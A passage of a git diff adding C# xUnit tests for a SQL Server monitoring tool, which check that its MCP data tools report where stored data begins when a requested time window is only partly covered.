+        await _duckDb.InitializeFromTemplateAsync();
+
+        var root = Root(await CallAsync(Tool.CollectionLog));
+
+        Assert.Equal("unavailable", root.GetProperty("status").GetString());
+        Assert.False(root.TryGetProperty("hints", out _));
+        Assert.False(root.TryGetProperty("window_truncated", out _));
+    }
+
+    /// <summary>The fleet form names no server, so there is no one server's start to give: it carries none of the three keys.</summary>
+    [Fact]
+    public async Task CollectionLog_TheFleetForm_CarriesNoWindowFloorKeys()
+    {
+        await _duckDb.InitializeFromTemplateAsync();
+        await SeedLogRunsAsync("wait_stats", Anchor.AddDays(-2), Anchor, everyMinutes: 30);
+
+        var json = await McpHealthTools.GetCollectionLog(Service(), _serverManager, server_name: null, hours_back: HoursBack, as_of: AsOf);
+
+        var root = Root(json);
+        Assert.True(root.TryGetProperty("run_count", out _));
+        Assert.False(root.TryGetProperty("effective_start", out _));
+        Assert.False(root.TryGetProperty("window_truncated", out _));
+        Assert.False(root.TryGetProperty("truncation_note", out _));
+    }
+
+    /* ───────────────────────── an empty answer says where the data starts too ───────────────────────── */
+
+    [Theory]
+    [InlineData(Tool.ServerConfig)]
+    [InlineData(Tool.DatabaseConfig)]
+    [InlineData(Tool.TraceFlags)]
+    [InlineData(Tool.PlanCorrections)]
+    [InlineData(Tool.MemoryPressure)]
+    public async Task AnEmptyWindow_PastCoverage_CarriesTheFloorAndTheNote_UnderHints(Tool tool)
+    {
+        await _duckDb.InitializeFromTemplateAsync();
+        /* The collector ran for two days of a 7-day ask and stored nothing a change or a row would show: only the keys say the
+           older five were never read. A config tool holds one snapshot, which is no change. */
+        await SeedCoverageAsync(tool, Anchor.AddDays(-2), Anchor);
+        if (tool is Tool.ServerConfig)
+        {
+            await SeedServerConfigAsync(Anchor.AddDays(-2), 0);
+        }
+        else if (tool is Tool.DatabaseConfig)
+        {
+            await SeedDatabaseConfigAsync(Anchor.AddDays(-2), "FULL");
+        }
+        else if (tool is Tool.TraceFlags)
+        {
+            await SeedTraceFlagAsync(Anchor.AddDays(-2), 1117);
+        }
+
+        var root = Root(await CallAsync(tool));
+
+        Assert.Equal("empty", root.GetProperty("status").GetString());
+        AssertTruncatedAt(root.GetProperty("hints"), Anchor.AddDays(-2), TableOf(tool));
+    }
+
+    [Theory]
+    [InlineData(Tool.ServerConfig)]
+    [InlineData(Tool.DatabaseConfig)]
+    [InlineData(Tool.TraceFlags)]
+    [InlineData(Tool.PlanCorrections)]
+    [InlineData(Tool.MemoryPressure)]
+    public async Task AnEmptyWindow_TheStoreHoldsNothingIn_SaysNothingWasRead(Tool tool)
+    {
+        await _duckDb.InitializeFromTemplateAsync();
+
+        var root = Root(await CallAsync(tool));
+
+        Assert.Equal("empty", root.GetProperty("status").GetString());
+        AssertNothingHeld(root.GetProperty("hints"), TableOf(tool));
+    }
+
+    [Theory]
+    [InlineData(Tool.PlanCorrections)]
+    [InlineData(Tool.MemoryPressure)]
+    public async Task AnEmptyWindow_TheCollectorCoveredFromBeforeIt_SaysCovered(Tool tool)
+    {
+        await _duckDb.InitializeFromTemplateAsync();
+        await SeedCoverageAsync(tool, Anchor.AddDays(-9), Anchor);
+
+        var root = Root(await CallAsync(tool));
+
+        Assert.Equal("empty", root.GetProperty("status").GetString());
+        AssertCovered(root.GetProperty("hints"), WindowStart);
+    }
+
+    /// <summary>The collection log's one empty window with older runs: this server HAS collected, but nothing in the window, so the hints say the store holds no collection of the window.</summary>
+    [Fact]
+    public async Task CollectionLog_AQuietWindowWithOlderRuns_SaysNothingInTheWindowWasRead()
+    {
+        await _duckDb.InitializeFromTemplateAsync();
+        await SeedLogRunsAsync("wait_stats", Anchor.AddDays(-20), Anchor.AddDays(-19), everyMinutes: 30);
+
+        var root = Root(await CallAsync(Tool.CollectionLog, hoursBack: 24));
+
+        Assert.Equal("empty", root.GetProperty("status").GetString());
+        AssertNothingHeld(root.GetProperty("hints"), "collection_log");
+    }
+
+    /* ───────────────────────── assertions ───────────────────────── */
+
+    /// <summary>The store's data starts at <paramref name="floor"/>, later than the window asked for.</summary>
+    private static void AssertTruncatedAt(JsonElement root, DateTime floor, string table)
+    {
+        Assert.True(root.GetProperty("window_truncated").GetBoolean());
+        var text = root.GetProperty("effective_start").GetString()!;
+        Assert.EndsWith("Z", text, StringComparison.Ordinal);
+        Assert.True(Math.Abs((ParseUtc(text) - floor).TotalSeconds) < 5,
+            $"effective_start {text} should be the seeded floor {floor:o}");
+        var note = root.GetProperty("truncation_note").GetString();
+        Assert.NotNull(note);
+        Assert.Contains($"raw {table} retains", note, StringComparison.Ordinal);
+        AssertNoReachKey(root);
+    }
+
+    /// <summary>An empty answer over a window the store holds no collection in: not covered, and no start to name.</summary>
+    private static void AssertNothingHeld(JsonElement root, string table)
+    {
+        Assert.True(root.GetProperty("window_truncated").GetBoolean());
+        Assert.Equal(JsonValueKind.Null, root.GetProperty("effective_start").ValueKind);
+        var note = root.GetProperty("truncation_note").GetString();
+        Assert.NotNull(note);
+        Assert.Contains($"holds no collection of {table}", note, StringComparison.Ordinal);
+        AssertNoReachKey(root);
+    }
+
+    /// <summary>The store held the whole window: the keys are present, false and null, at the requested start.</summary>
+    private static void AssertCovered(JsonElement root, DateTime requestedStart)
+    {
+        Assert.False(root.GetProperty("window_truncated").GetBoolean());
+        Assert.Equal(JsonValueKind.Null, root.GetProperty("truncation_note").ValueKind);
+        var text = root.GetProperty("effective_start").GetString()!;
+        Assert.EndsWith("Z", text, StringComparison.Ordinal);
+        Assert.True(Math.Abs((ParseUtc(text) - requestedStart).TotalMinutes) < 2,
+            $"effective_start {text} should be the requested start {requestedStart:o}");
+        AssertNoReachKey(root);
+    }
+
+    /// <summary>None of the six writes a reach: the instant alone, as on the other window-floor payloads.</summary>
+    private static void AssertNoReachKey(JsonElement root) =>
+        Assert.False(root.TryGetProperty("effective_hours_back", out _));
+
+    /* ───────────────────────── seeding ───────────────────────── */
+
+    /* #5208: every seed statement joins one open transaction (PendingSeedSession) instead of committing on its own;
+       Service() commits it before anything reads, so the code under test sees the same rows in the same order. */
+    private Task ExecuteAsync(string sql, params object?[] values) => _seed.ExecuteAsync(sql, values);
+
+    private Task SeedServerConfigAsync(DateTime captureTime, long value) => ExecuteAsync(@"
+INSERT INTO server_config (config_id, capture_time, server_id, server_name, configuration_name, value_configured, value_in_use, is_dynamic, is_advanced)
+VALUES ($1, $2, $3, $4, 'max degree of parallelism', $5, $5, TRUE, TRUE)",
+        _nextId++, Naive(captureTime), _serverId, ServerName, value);
+
+    private Task SeedDatabaseConfigAsync(DateTime captureTime, string recoveryModel) => ExecuteAsync(@"
+INSERT INTO database_config (config_id, capture_time, server_id, server_name, database_name, recovery_model)
+VALUES ($1, $2, $3, $4, 'Db', $5)",
+        _nextId++, Naive(captureTime), _serverId, ServerName, recoveryModel);
+
+    private Task SeedTraceFlagAsync(DateTime captureTime, int traceFlag) => ExecuteAsync(@"
+INSERT INTO trace_flags (config_id, capture_time, server_id, server_name, trace_flag, status, is_global, is_session)
+VALUES ($1, $2, $3, $4, $5, TRUE, TRUE, FALSE)",
+        _nextId++, Naive(captureTime), _serverId, ServerName, traceFlag);
+
+    private Task SeedPlanCorrectionAsync(DateTime collectedAt, string? recommendation) => ExecuteAsync(@"
+INSERT INTO plan_correction (collection_id, collection_time, server_id, server_name, database_name, recommendation_name, recommendation_state, score,
+                             force_last_good_plan_desired_state, force_last_good_plan_actual_state)
+VALUES ($1, $2, $3, $4, 'Db', $5, 'Active', 50, 'Enabled', 'Enabled')",
+        _nextId++, Naive(collectedAt), _serverId, ServerName, recommendation);
+
+    private Task SeedMemoryPressureAsync(DateTime sampleTime, DateTime collectedAt) => ExecuteAsync(@"
+INSERT INTO memory_pressure_events (collection_id, collection_time, server_id, server_name, sample_time, memory_notification, memory_indicators_process, memory_indicators_system)
+VALUES ($1, $2, $3, $4, $5, 'RESOURCE_MEMPHYSICAL_LOW', 1, 1)",
+        _nextId++, Naive(collectedAt), _serverId, ServerName, Naive(sampleTime));
+
+    /// <summary>The collector's runs in collection_log, every <paramref name="everyMinutes"/> minutes, whether or not anything happened.</summary>
+    private async Task SeedLogRunsAsync(string collector, DateTime firstUtc, DateTime lastUtc, int everyMinutes)
+    {
+        await ExecuteAsync($@"
+INSERT INTO collection_log (log_id, server_id, server_name, collector_name, collection_time, duration_ms, status, rows_collected)
+SELECT $1 + row_number() OVER (), $2, $3, $4, g.t, 12, 'SUCCESS', 0
+FROM generate_series($5::TIMESTAMP, $6::TIMESTAMP, INTERVAL {everyMinutes} MINUTE) AS g(t)",
+            _nextId, _serverId, ServerName, collector, Naive(firstUtc), Naive(lastUtc));
+        _nextId += 100_000;
+    }
+}
diff --git a/Lite.Tests/McpWindowNoticeEventToolTests.cs b/Lite.Tests/McpWindowNoticeEventToolTests.cs
new file mode 100644
index 0000000000..453f37fb35
--- /dev/null
+++ b/Lite.Tests/McpWindowNoticeEventToolTests.cs
@@ -0,0 +1,433 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor Lite.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.Globalization;
+using System.IO;
+using System.Text.Json;
+using System.Threading.Tasks;
+using DuckDB.NET.Data;
+using PerformanceMonitorLite.Database;
+using PerformanceMonitorLite.Mcp;
+using PerformanceMonitorLite.Models;
+using PerformanceMonitorLite.Services;
+using Xunit;
+
+namespace PerformanceMonitorLite.Tests;
+
+/// <summary>
+/// #4966: where the data starts, on the five Lite event-list tools: <c>get_deadlocks</c>,
+/// <c>get_deadlock_detail</c>, <c>get_blocked_process_reports</c>, <c>get_blocked_process_xml</c> and
+/// <c>get_long_query_completions</c>. Each publishes <c>effective_start</c>, <c>window_truncated</c> and
+/// <c>truncation_note</c> beside <c>hours_back</c> on a data answer, and the same three keys under <c>hints</c> on an
+/// <c>empty</c> one, from the coverage probe (<see cref="LocalDataService.GetQueryWindowFloorAsync"/>) the other
+/// window-floor tools use. They are EVENT lists, so on a data answer the floor is the EARLIER of the probe's and
+/// the oldest event the page shows: a first run of a collector can store events from before itself. Every window is
+/// anchored at a fixed <c>as_of</c>, never the clock. Own <see cref="DuckDbInitializer"/> per test, like
+/// <see cref="McpWindowNoticeToolTests"/>.
+/// </summary>
+[Trait("Cost", "Slow")]
+public sealed class McpWindowNoticeEventToolTests : IDisposable
+{
+    private const string ServerName = "EventNoticeServer";
+    private const string AsOf = "2026-09-10T12:00:00Z";
+    private const int HoursBack = 168;
+    private static readonly DateTime Anchor = new(2026, 9, 10, 12, 0, 0, DateTimeKind.Utc);
+    private static readonly DateTime WindowStart = Anchor.AddHours(-HoursBack);
+
+    private readonly int _serverId;
+    private readonly string _tempDir;
+    private readonly DuckDbInitializer _duckDb;
+    private readonly PendingSeedSession _seed;
+    private readonly ServerManager _serverManager;
+    private long _nextId = 1;
+
+    /// <summary>The five tools under test.</summary>
+    public enum EventTool
+    {
+        Deadlocks,
+        DeadlockDetail,
+        BlockedProcessReports,
+        BlockedProcessXml,
+        LongQueryCompletions
+    }
+
+    public McpWindowNoticeEventToolTests()
+    {
+        _tempDir = Path.Combine(Path.GetTempPath(), "McpWindowNoticeEvent_" + Guid.NewGuid().ToString("N")[..8]);
+        Directory.CreateDirectory(Path.Combine(_tempDir, "config"));
+        _duckDb = new DuckDbInitializer(Path.Combine(_tempDir, "test.duckdb"));
+        _seed = new PendingSeedSession(_duckDb);
+
+        _serverManager = new ServerManager(Path.Combine(_tempDir, "config"));
+        var server = new ServerConnection { ServerName = ServerName, DisplayName = ServerName };
+        _serverManager.AddServer(server);
+        _serverId = RemoteCollectorService.GetDeterministicHashCode(RemoteCollectorService.GetServerNameForStorage(server));
+    }
+
+    public void Dispose()
+    {
+        _seed.Dispose();
+        _duckDb.Dispose();
+        try { if (Directory.Exists(_tempDir)) Directory.Delete(_tempDir, recursive: true); }
+        catch { /* best-effort cleanup */ }
+    }
+
+    private static DateTime Naive(DateTime instant) => DateTime.SpecifyKind(instant, DateTimeKind.Unspecified);
+
+    private static DateTime ParseUtc(string text) =>
+        DateTime.Parse(text, CultureInfo.InvariantCulture, DateTimeStyles.AdjustToUniversal | DateTimeStyles.AssumeUniversal);
+
+    private static JsonElement Root(string json) => JsonDocument.Parse(json).RootElement;
+
+    private LocalDataService Service()
+    {
+        _seed.Flush();
+        return new(_duckDb);
+    }
+
+    /* ───────────────────────── per-tool wiring ───────────────────────── */
+
+    private Task<string> CallAsync(EventTool tool, int hoursBack = HoursBack, int? limit = null) => tool switch
+    {
+        EventTool.Deadlocks => McpBlockingTools.GetDeadlocks(Service(), _serverManager, ServerName, hoursBack, limit: limit ?? 20, as_of: AsOf),
+        EventTool.DeadlockDetail => McpBlockingTools.GetDeadlockDetail(Service(), _serverManager, ServerName, hoursBack, limit: limit ?? 5, as_of: AsOf),
+        EventTool.BlockedProcessReports => McpBlockingTools.GetBlockedProcessReports(Service(), _serverManager, ServerName, hoursBack, limit: limit ?? 15, as_of: AsOf),
+        EventTool.BlockedProcessXml => McpBlockingTools.GetBlockedProcessXml(Service(), _serverManager, ServerName, hoursBack, limit: limit ?? 5, as_of: AsOf),
+        EventTool.LongQueryCompletions => McpLongQueryTools.GetLongQueryCompletions(Service(), _serverManager, ServerName, hoursBack, limit: limit ?? 30, as_of: AsOf),
+        _ => throw new ArgumentOutOfRangeException(nameof(tool))
+    };
+
+    /// <summary>The collector whose logged runs the tool's coverage is read from.</summary>
+    private static string CollectorOf(EventTool tool) => tool switch
+    {
+        EventTool.Deadlocks or EventTool.DeadlockDetail => "deadlocks",
+        EventTool.BlockedProcessReports or EventTool.BlockedProcessXml => "blocked_process_report",
+        _ => "long_query_completions"
+    };
+
+    /// <summary>The table name the truncation note names.</summary>
+    private static string TableOf(EventTool tool) => tool switch
+    {
+        EventTool.Deadlocks or EventTool.DeadlockDetail => "deadlocks",
+        EventTool.BlockedProcessReports or EventTool.BlockedProcessXml => "blocked_process_report",
+        _ => "long_query_completions"
+    };
+
+    /// <summary>One stored event that happened at <paramref name="eventTime"/> and was collected at <paramref name="collectedAt"/>
+    /// (earlier events than the collection are what a first run backfills). The graph and report XML are set so the
+    /// two XML tools count the row.</summary>
+    private Task SeedEventAsync(EventTool tool, DateTime eventTime, DateTime? collectedAt = null)
+    {
+        var collected = Naive(collectedAt ?? eventTime);
+        var happened = Naive(eventTime);
+        return tool switch
+        {
+            EventTool.Deadlocks or EventTool.DeadlockDetail => ExecuteAsync(@"
+INSERT INTO deadlocks (deadlock_id, collection_time, server_id, server_name, deadlock_time, victim_process_id, victim_sql_text, deadlock_graph_xml)
+VALUES ($1, $2, $3, $4, $5, 'process1', 'DELETE FROM dbo.Posts', '<deadlock/>')",
+                _nextId++, collected, _serverId, ServerName, happened),
+            EventTool.BlockedProcessReports or EventTool.BlockedProcessXml => ExecuteAsync(@"
+INSERT INTO blocked_process_reports (blocked_report_id, collection_time, server_id, server_name, event_time, blocked_spid, blocking_spid, blocked_process_report_xml)
+VALUES ($1, $2, $3, $4, $5, 55, 60, '<blocked-process-report/>')",
+                _nextId++, collected, _serverId, ServerName, happened),
+            _ => ExecuteAsync(@"
+INSERT INTO long_query_completions (long_query_completion_id, collection_time, server_id, server_name, event_time, event_type, database_name, statement_text, duration_microseconds)
+VALUES ($1, $2, $3, $4, $5, 'rpc_completed', 'Db', 'SELECT 1', 5000000)",
+                _nextId++, collected, _serverId, ServerName, happened)
+        };
+    }
+
+    /* ───────────────────────── a data answer ───────────────────────── */
+
+    [Theory]
+    [InlineData(EventTool.Deadlocks)]
+    [InlineData(EventTool.DeadlockDetail)]
+    [InlineData(EventTool.BlockedProcessReports)]
+    [InlineData(EventTool.BlockedProcessXml)]
+    [InlineData(EventTool.LongQueryCompletions)]
+    public async Task EventsAndRunsStartInsideTheWindow_ReportTheFloor_AndTheNote(EventTool tool)
+    {
+        await _duckDb.InitializeFromTemplateAsync();
+        var floor = Anchor.AddDays(-2);
+        await SeedLogRunsAsync(CollectorOf(tool), floor, Anchor, everyMinutes: 30);
+        await SeedEventAsync(tool, floor);
+        await SeedEventAsync(tool, Anchor.AddDays(-1));
+
+        var root = Root(await CallAsync(tool));
+
+        AssertTruncatedAt(root, floor, TableOf(tool));
+    }
+
+    [Theory]
+    [InlineData(EventTool.Deadlocks)]
+    [InlineData(EventTool.DeadlockDetail)]
+    [InlineData(EventTool.BlockedProcessReports)]
+    [InlineData(EventTool.BlockedProcessXml)]
+    [InlineData(EventTool.LongQueryCompletions)]
+    public async Task AQuietStart_TheCollectorRanFromBeforeTheWindow_FirstEventTwoDaysIn_IsCovered(EventTool tool)
+    {
+        await _duckDb.InitializeFromTemplateAsync();
+        /* The collector ran every half hour from before the window began, and nothing happened until two days in.
+           A server that is quiet for days looks exactly like this, and a rows-only probe would call it truncated. */
+        await SeedLogRunsAsync(CollectorOf(tool), WindowStart.AddHours(-1), Anchor, everyMinutes: 30);
+        await SeedEventAsync(tool, Anchor.AddDays(-2));
+
+        var root = Root(await CallAsync(tool));
+
+        AssertCovered(root, WindowStart);
+    }
+
+    /// <summary>
+    /// The event-time rule: a first run stores events from before itself, so the oldest event on the page can be older
+    /// than the probe's floor. Only the long-query case exercises the helper's event input: its probe reads
+    /// <c>collection_time</c>, while the deadlock and blocked-process probes already read the event column, so for those
+    /// four the probe alone gives the same answer. The collector's first run is 100 minutes into the window (past the 90-minute slack, so the
+    /// probe alone would call the window cut), but it stored an event from 30 minutes in. The notice names the earlier of
+    /// the two, which is inside the slack: no cut, and <c>effective_start</c> is that event.
+    /// </summary>
+    [Theory]
+    [InlineData(EventTool.Deadlocks)]
+    [InlineData(EventTool.DeadlockDetail)]
+    [InlineData(EventTool.BlockedProcessReports)]
+    [InlineData(EventTool.BlockedProcessXml)]
+    [InlineData(EventTool.LongQueryCompletions)]
+    public async Task AnEventOlderThanItsRun_FirstRunBackfill_NamesTheEvent_AndIsNotACut(EventTool tool)
+    {
+        await _duckDb.InitializeFromTemplateAsync();
+        var firstRun = WindowStart.AddMinutes(100);
+        var backfilled = WindowStart.AddMinutes(30);
+        await SeedLogRunsAsync(CollectorOf(tool), firstRun, Anchor, everyMinutes: 30);
+        await SeedEventAsync(tool, backfilled, collectedAt: firstRun);
+
+        var root = Root(await CallAsync(tool));
+
+        AssertCoveredFrom(root, backfilled);
+    }
+
+    /// <summary>The page cut and the window floor are separate: the three keys sit right after <c>hours_back</c>, in this order, on every tool.</summary>
+    [Theory]
+    [InlineData(EventTool.Deadlocks)]
+    [InlineData(EventTool.DeadlockDetail)]
+    [InlineData(EventTool.BlockedProcessReports)]
+    [InlineData(EventTool.BlockedProcessXml)]
+    [InlineData(EventTool.LongQueryCompletions)]
+    public async Task ADataAnswer_CarriesTheKeysRightAfterHoursBack(EventTool tool)
+    {
+        await _duckDb.InitializeFromTemplateAsync();
+        await SeedLogRunsAsync(CollectorOf(tool), Anchor.AddDays(-2), Anchor, everyMinutes: 30);
+        await SeedEventAsync(tool, Anchor.AddDays(-2));
+
+        var names = new System.Collections.Generic.List<string>();
+        foreach (var property in Root(await CallAsync(tool)).EnumerateObject())
+        {
+            names.Add(property.Name);
+        }
+
+        var hoursBack = names.IndexOf("hours_back");
+        Assert.True(hoursBack >= 0);
+        Assert.Equal(new[] { "effective_start", "window_truncated", "truncation_note" }, names.GetRange(hoursBack + 1, 3));
+    }
+
+    /// <summary>A window of 90 minutes or less with rows starts no probe: no collector run is logged, yet the answer is covered at the requested start, not at the event.</summary>
+    [Theory]
+    [InlineData(EventTool.Deadlocks)]
+    [InlineData(EventTool.DeadlockDetail)]
+    [InlineData(EventTool.BlockedProcessReports)]
+    [InlineData(EventTool.BlockedProcessXml)]
+    [InlineData(EventTool.LongQueryCompletions)]
+    public async Task AShortWindowWithRows_StartsNoProbe_AndIsCoveredAtTheRequestedStart(EventTool tool)
+    {
+        await _duckDb.InitializeFromTemplateAsync();
+        await SeedEventAsync(tool, Anchor.AddMinutes(-30));
+
+        var root = Root(await CallAsync(tool, hoursBack: 1));
+
+        AssertCovered(root, Anchor.AddHours(-1));
+    }
+
+    /// <summary>A truncated page (<c>limit: 1</c> of two events) sits next to a window floor: the page cut does not change the notice.</summary>
+    [Theory]
+    [InlineData(EventTool.Deadlocks)]
+    [InlineData(EventTool.DeadlockDetail)]
+    [InlineData(EventTool.BlockedProcessReports)]
+    [InlineData(EventTool.BlockedProcessXml)]
+    [InlineData(EventTool.LongQueryCompletions)]
+    public async Task ATruncatedPage_NextToAWindowFloor_LeavesTheNoticeUnchanged(EventTool tool)
+    {
+        await _duckDb.InitializeFromTemplateAsync();
+        var floor = Anchor.AddDays(-2);
+        await SeedLogRunsAsync(CollectorOf(tool), floor, Anchor, everyMinutes: 30);
+        await SeedEventAsync(tool, floor);
+        await SeedEventAsync(tool, Anchor.AddDays(-1));
+
+        var root = Root(await CallAsync(tool, limit: 1));
+
+        Assert.True(root.GetProperty("truncated").GetBoolean());
+        AssertTruncatedAt(root, floor, TableOf(tool));
+    }
+
+    /* ───────────────────────── the blocked process reports' second collector ───────────────────────── */
+
+    /// <summary>
+    /// The Blocked Process Reports relation is also covered by the always-on DMV blocking snapshots
+    /// (<see cref="LocalDataService.QueryWindowRelationAlsoCoveredBy"/>), and <see cref="LocalDataService.GetQueryWindowFloorAsync"/>
+    /// takes the earlier of the two itself, so <c>get_blocked_process_reports</c>, whose grid lists the DMV rows too, applies nothing
+    /// more: with the XE collector off and the DMV collector running from before the window, the first report two days in is not a
+    /// cut. <c>get_blocked_process_xml</c> reads the XE arm only, so it probes the XE collector alone (<c>includeAlsoCovered: false</c>)
+    /// and the same store gets a notice at the XE floor.
+    /// </summary>
+    [Fact]
+    public async Task BlockedProcessReports_TheDmvCollectorCoveredTheWindow_IsCovered()
+    {
+        await _duckDb.InitializeFromTemplateAsync();
+        await SeedLogRunsAsync("dmv_blocking_snapshot", WindowStart.AddHours(-1), Anchor, everyMinutes: 30);
+        await SeedEventAsync(EventTool.BlockedProcessReports, Anchor.AddDays(-2));
+
+        var root = Root(await CallAsync(EventTool.BlockedProcessReports));
+
+        AssertCovered(root, WindowStart);
+    }
+
+    [Fact]
+    public async Task BlockedProcessXml_TheDmvCollectorCoveredTheWindow_StillNamesTheXeFloor()
+    {
+        await _duckDb.InitializeFromTemplateAsync();
+        await SeedLogRunsAsync("dmv_blocking_snapshot", WindowStart.AddHours(-1), Anchor, everyMinutes: 30);
+        await SeedEventAsync(EventTool.BlockedProcessXml, Anchor.AddDays(-2));
+
+        var root = Root(await CallAsync(EventTool.BlockedProcessXml));
+
+        AssertTruncatedAt(root, Anchor.AddDays(-2), "blocked_process_report");
+    }
+
+    /* ───────────────────────── an empty answer says where the data starts too ───────────────────────── */
+
+    [Theory]
+    [InlineData(EventTool.Deadlocks)]
+    [InlineData(EventTool.DeadlockDetail)]
+    [InlineData(EventTool.BlockedProcessReports)]
+    [InlineData(EventTool.BlockedProcessXml)]
+    [InlineData(EventTool.LongQueryCompletions)]
+    public async Task AnEmptyWindow_PastCoverage_CarriesTheFloorAndTheNote_UnderHints(EventTool tool)
+    {
+        await _duckDb.InitializeFromTemplateAsync();
+        /* The collector ran for two days of a 7-day ask and nothing happened: only the keys say the older five were never read. */
+        await SeedLogRunsAsync(CollectorOf(tool), Anchor.AddDays(-2), Anchor, everyMinutes: 30);
+
+        var root = Root(await CallAsync(tool));
+
+        Assert.Equal("empty", root.GetProperty("status").GetString());
+        AssertTruncatedAt(root.GetProperty("hints"), Anchor.AddDays(-2), TableOf(tool));
+    }
+
+    [Theory]
+    [InlineData(EventTool.Deadlocks)]
+    [InlineData(EventTool.DeadlockDetail)]
+    [InlineData(EventTool.BlockedProcessReports)]
+    [InlineData(EventTool.BlockedProcessXml)]
+    [InlineData(EventTool.LongQueryCompletions)]
+    public async Task AnEmptyWindow_TheStoreHoldsNothingIn_SaysNothingWasRead(EventTool tool)
+    {
+        await _duckDb.InitializeFromTemplateAsync();
+
+        var root = Root(await CallAsync(tool));
+
+        Assert.Equal("empty", root.GetProperty("status").GetString());
+        AssertNothingHeld(root.GetProperty("hints"), TableOf(tool));
+    }
+
+    [Theory]
+    [InlineData(EventTool.Deadlocks)]
+    [InlineData(EventTool.DeadlockDetail)]
+    [InlineData(EventTool.BlockedProcessReports)]
+    [InlineData(EventTool.BlockedProcessXml)]
+    [InlineData(EventTool.LongQueryCompletions)]
+    public async Task AnEmptyWindow_TheCollectorCoveredFromBeforeIt_SaysCovered(EventTool tool)
+    {
+        await _duckDb.InitializeFromTemplateAsync();
+        await SeedLogRunsAsync(CollectorOf(tool), Anchor.AddDays(-9), Anchor, everyMinutes: 30);
+
+        var root = Root(await CallAsync(tool));
+
+        Assert.Equal("empty", root.GetProperty("status").GetString());
+        AssertCovered(root.GetProperty("hints"), WindowStart);
+    }
+
+    /* ───────────────────────── assertions ───────────────────────── */
+
+    /// <summary>The store's data starts at <paramref name="floor"/>, later than the window asked for.</summary>
+    private static void AssertTruncatedAt(JsonElement root, DateTime floor, string table)
+    {
+        Assert.True(root.GetProperty("window_truncated").GetBoolean());
+        var text = root.GetProperty("effective_start").GetString()!;
+        Assert.EndsWith("Z", text, StringComparison.Ordinal);
+        Assert.True(Math.Abs((ParseUtc(text) - floor).TotalSeconds) < 5,
+            $"effective_start {text} should be the seeded floor {floor:o}");
+        var note = root.GetProperty("truncation_note").GetString();
+        Assert.NotNull(note);
+        Assert.Contains($"raw {table} retains", note, StringComparison.Ordinal);
+        AssertNoReachKey(root);
+    }
+
+    /// <summary>An empty answer over a window the store holds no collection in: not covered, and no start to name.</summary>
+    private static void AssertNothingHeld(JsonElement root, string table)
+    {
+        Assert.True(root.GetProperty("window_truncated").GetBoolean());
+        Assert.Equal(JsonValueKind.Null, root.GetProperty("effective_start").ValueKind);
+        var note = root.GetProperty("truncation_note").GetString();
+        Assert.NotNull(note);
+        Assert.Contains($"holds no collection of {table}", note, StringComparison.Ordinal);
+        AssertNoReachKey(root);
+    }
+
+    /// <summary>Data inside the slack: covered, and <c>effective_start</c> is where the data starts.</summary>
+    private static void AssertCoveredFrom(JsonElement root, DateTime firstInstant)
+    {
+        Assert.False(root.GetProperty("window_truncated").GetBoolean());
+        Assert.Equal(JsonValueKind.Null, root.GetProperty("truncation_note").ValueKind);
+        var text = root.GetProperty("effective_start").GetString()!;
+        Assert.EndsWith("Z", text, StringComparison.Ordinal);
+        Assert.True(Math.Abs((ParseUtc(text) - firstInstant).TotalSeconds) < 5,
+            $"effective_start {text} should be the first event {firstInstant:o}");
+        AssertNoReachKey(root);
+    }
+
+    /// <summary>The store held the whole window: the keys are present, false and null, at the requested start.</summary>
+    private static void AssertCovered(JsonElement root, DateTime requestedStart)
+    {
+        Assert.False(root.GetProperty("window_truncated").GetBoolean());
+        Assert.Equal(JsonValueKind.Null, root.GetProperty("truncation_note").ValueKind);
+        var text = root.GetProperty("effective_start").GetString()!;
+        Assert.EndsWith("Z", text, StringComparison.Ordinal);
+        Assert.True(Math.Abs((ParseUtc(text) - requestedStart).TotalMinutes) < 2,
+            $"effective_start {text} should be the requested start {requestedStart:o}");
+        AssertNoReachKey(root);
+    }
+
+    /// <summary>All five payloads carry a page cut under <c>truncated</c>, so the reach is the instant alone.</summary>
+    private static void AssertNoReachKey(JsonElement root) =>
+        Assert.False(root.TryGetProperty("effective_hours_back", out _));
+
+    /* ───────────────────────── seeding ───────────────────────── */
+
+    /* #5208: every seed statement joins one open transaction (PendingSeedSession) instead of committing on its own;
+       Service() commits it before anything reads, so the code under test sees the same rows in the same order. */
+    private Task ExecuteAsync(string sql, params object[] values) => _seed.ExecuteAsync(sql, values);
+
+    /// <summary>The collector's runs in collection_log, every <paramref name="everyMinutes"/> minutes, whether or not anything happened.</summary>
+    private async Task SeedLogRunsAsync(string collector, DateTime firstUtc, DateTime lastUtc, int everyMinutes)
+    {
+        await ExecuteAsync($@"
+INSERT INTO collection_log (log_id, server_id, server_name, collector_name, collection_time, duration_ms, status, rows_collected)
+SELECT $1 + row_number() OVER (), $2, $3, $4, g.t, 12, 'SUCCESS', 0
+FROM generate_series($5::TIMESTAMP, $6::TIMESTAMP, INTERVAL {everyMinutes} MINUTE) AS g(t)",
+            _nextId, _serverId, ServerName, collector, Naive(firstUtc), Naive(lastUtc));
+        _nextId += 100_000;
+    }
+}
diff --git a/Lite.Tests/McpWindowNoticeSystemHealthToolTests.cs b/Lite.Tests/McpWindowNoticeSystemHealthToolTests.cs
new file mode 100644
index 0000000000..2ea9be07f4
--- /dev/null
+++ b/Lite.Tests/McpWindowNoticeSystemHealthToolTests.cs
@@ -0,0 +1,645 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor Lite.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.Collections.Generic;
+using System.Globalization;
+using System.IO;
+using System.Text.Json;
+using System.Threading.Tasks;
+using DuckDB.NET.Data;
+using PerformanceMonitor.Common;
+using PerformanceMonitorLite.Database;
+using PerformanceMonitorLite.Mcp;
+using PerformanceMonitorLite.Models;
+using PerformanceMonitorLite.Services;
+using Xunit;
+
+namespace PerformanceMonitorLite.Tests;
+
+/// <summary>
+/// #4966: where the data starts, on the nine <c>get_health_parser_*</c> tools. Each publishes <c>effective_start</c>,
+/// <c>window_truncated</c> and <c>truncation_note</c> beside <c>hours_back</c> on a data answer, and the same three keys under
+/// <c>hints</c> on an <c>empty</c> one, from the coverage probe (<see cref="LocalDataService.GetQueryWindowFloorAsync"/>) over
+/// <c>v_system_health_events</c>. That is the earlier of the first stored event and the collector's first logged run inside
